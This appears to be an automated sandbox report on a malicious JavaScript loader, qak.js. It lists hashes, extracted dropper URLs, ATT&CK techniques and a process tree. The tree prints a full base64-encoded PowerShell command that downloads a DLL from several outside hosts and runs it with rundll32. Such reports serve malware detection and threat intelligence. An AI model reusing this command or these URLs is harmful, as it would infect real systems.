c3a87202894fb8bc62b755731d9cee475dc275ff9e9dee86677480ddf9016d9c

Analysis

max time kernel
147s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
13/10/2023, 21:25

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General

Target

qak.js
Size

54KB
MD5

26589ad776720ca1065f0d5772ea902c
SHA1

320ca918b7b958a434773ac1cc7207f1e3989ce6
SHA256

c3a87202894fb8bc62b755731d9cee475dc275ff9e9dee86677480ddf9016d9c
SHA512

084fcbf9b8336d43c164c801022ae185bff9548c14fb09792fdc7d5d3a1789ddfca1992aed8ae9fd21ce37b91474397fae394ecbdb4e1f14ceceed838914160c
SSDEEP

768:tnX2TKIQIBnHJZ1wLzyRSFgNxFHx2lS2QOxIrb3lQbQjEJkczD+fO3UV7uxZDdQp:tnX2uI7n1/RzNdf5AJvD5bPW0Adxaq

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://stoaindustria.com.br/DgebrQ/w58YT90jYhi

exe.dropper

https://embroidery-gulf.com/COAxZjb/5miyICah

exe.dropper

https://kpmasterchart.com/FkxW/T7RWBCJQWH6s

exe.dropper

https://fineadvicefoundation.org/3yxItyx/71Ooo

exe.dropper

https://amazonneon.com/YDPjgv0/l3K5xEpiE

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
17	5056	powershell.exe
26	5056	powershell.exe
44	5056	powershell.exe
61	5056	powershell.exe
64	5056	powershell.exe
67	5056	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5056	powershell.exe
5056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5056	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3768 wrote to memory of 5056	3768	wscript.exe	87
PID 3768 wrote to memory of 5056	3768	wscript.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\qak.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAVQBuAGYAbwByAHMAYQBrAGkAbgBnACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AYQBpAG4AZAB1AHMAdAByAGkAYQAuAGMAbwBtAC4AYgByAC8ARABnAGUAYgByAFEALwB3ADUAOABZAFQAOQAwAGoAWQBoAGkALABoAHQAdABwAHMAOgAvAC8AZQBtAGIAcgBvAGkAZABlAHIAeQAtAGcAdQBsAGYALgBjAG8AbQAvAEMATwBBAHgAWgBqAGIALwA1AG0AaQB5AEkAQwBhAGgALABoAHQAdABwAHMAOgAvAC8AawBwAG0AYQBzAHQAZQByAGMAaABhAHIAdAAuAGMAbwBtAC8ARgBrAHgAVwAvAFQANwBSAFcAQgBDAEoAUQBXAEgANgBzACwAaAB0AHQAcABzADoALwAvAGYAaQBuAGUAYQBkAHYAaQBjAGUAZgBvAHUAbgBkAGEAdABpAG8AbgAuAG8AcgBnAC8AMwB5AHgASQB0AHkAeAAvADcAMQBPAG8AbwAsAGgAdAB0AHAAcwA6AC8ALwBhAG0AYQB6AG8AbgBuAGUAbwBuAC4AYwBvAG0ALwBZAEQAUABqAGcAdgAwAC8AbAAzAEsANQB4AEUAcABpAEUAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAbQBpAHMAcwBpAGUAcwAgAGkAbgAgACQAVQBuAGYAbwByAHMAYQBrAGkAbgBnACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAG0AaQBzAHMAaQBlAHMAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADcAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAFUAbgBkAGUAcgBwAG8AcAB1AGwAYQB0AGUAZAAuAGQAbABsADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAVQBuAGQAZQByAHAAbwBwAHUAbABhAHQAZQBkAC4AZABsAGwAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVQBuAGQAZQByAHAAbwBwAHUAbABhAHQAZQBkAC4AZABsAGwALABHAEwANwAwADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AH0AfQA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oolc4aek.4rx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5056-5-0x00000187F8100000-0x00000187F8122000-memory.dmp

Filesize
136KB

Download
memory/5056-10-0x00007FFA74650000-0x00007FFA75111000-memory.dmp

Filesize
10.8MB

Download
memory/5056-11-0x00000187F80F0000-0x00000187F8100000-memory.dmp

Filesize
64KB

Download
memory/5056-12-0x00000187F80F0000-0x00000187F8100000-memory.dmp

Filesize
64KB

Download
memory/5056-13-0x00007FFA74650000-0x00007FFA75111000-memory.dmp

Filesize
10.8MB

Download
memory/5056-14-0x00000187F80F0000-0x00000187F8100000-memory.dmp

Filesize
64KB

Download
memory/5056-15-0x00000187F80F0000-0x00000187F8100000-memory.dmp

Filesize
64KB

Download
memory/5056-16-0x00000187F80F0000-0x00000187F8100000-memory.dmp

Filesize
64KB

Download
memory/5056-18-0x00007FFA74650000-0x00007FFA75111000-memory.dmp

Filesize
10.8MB

Download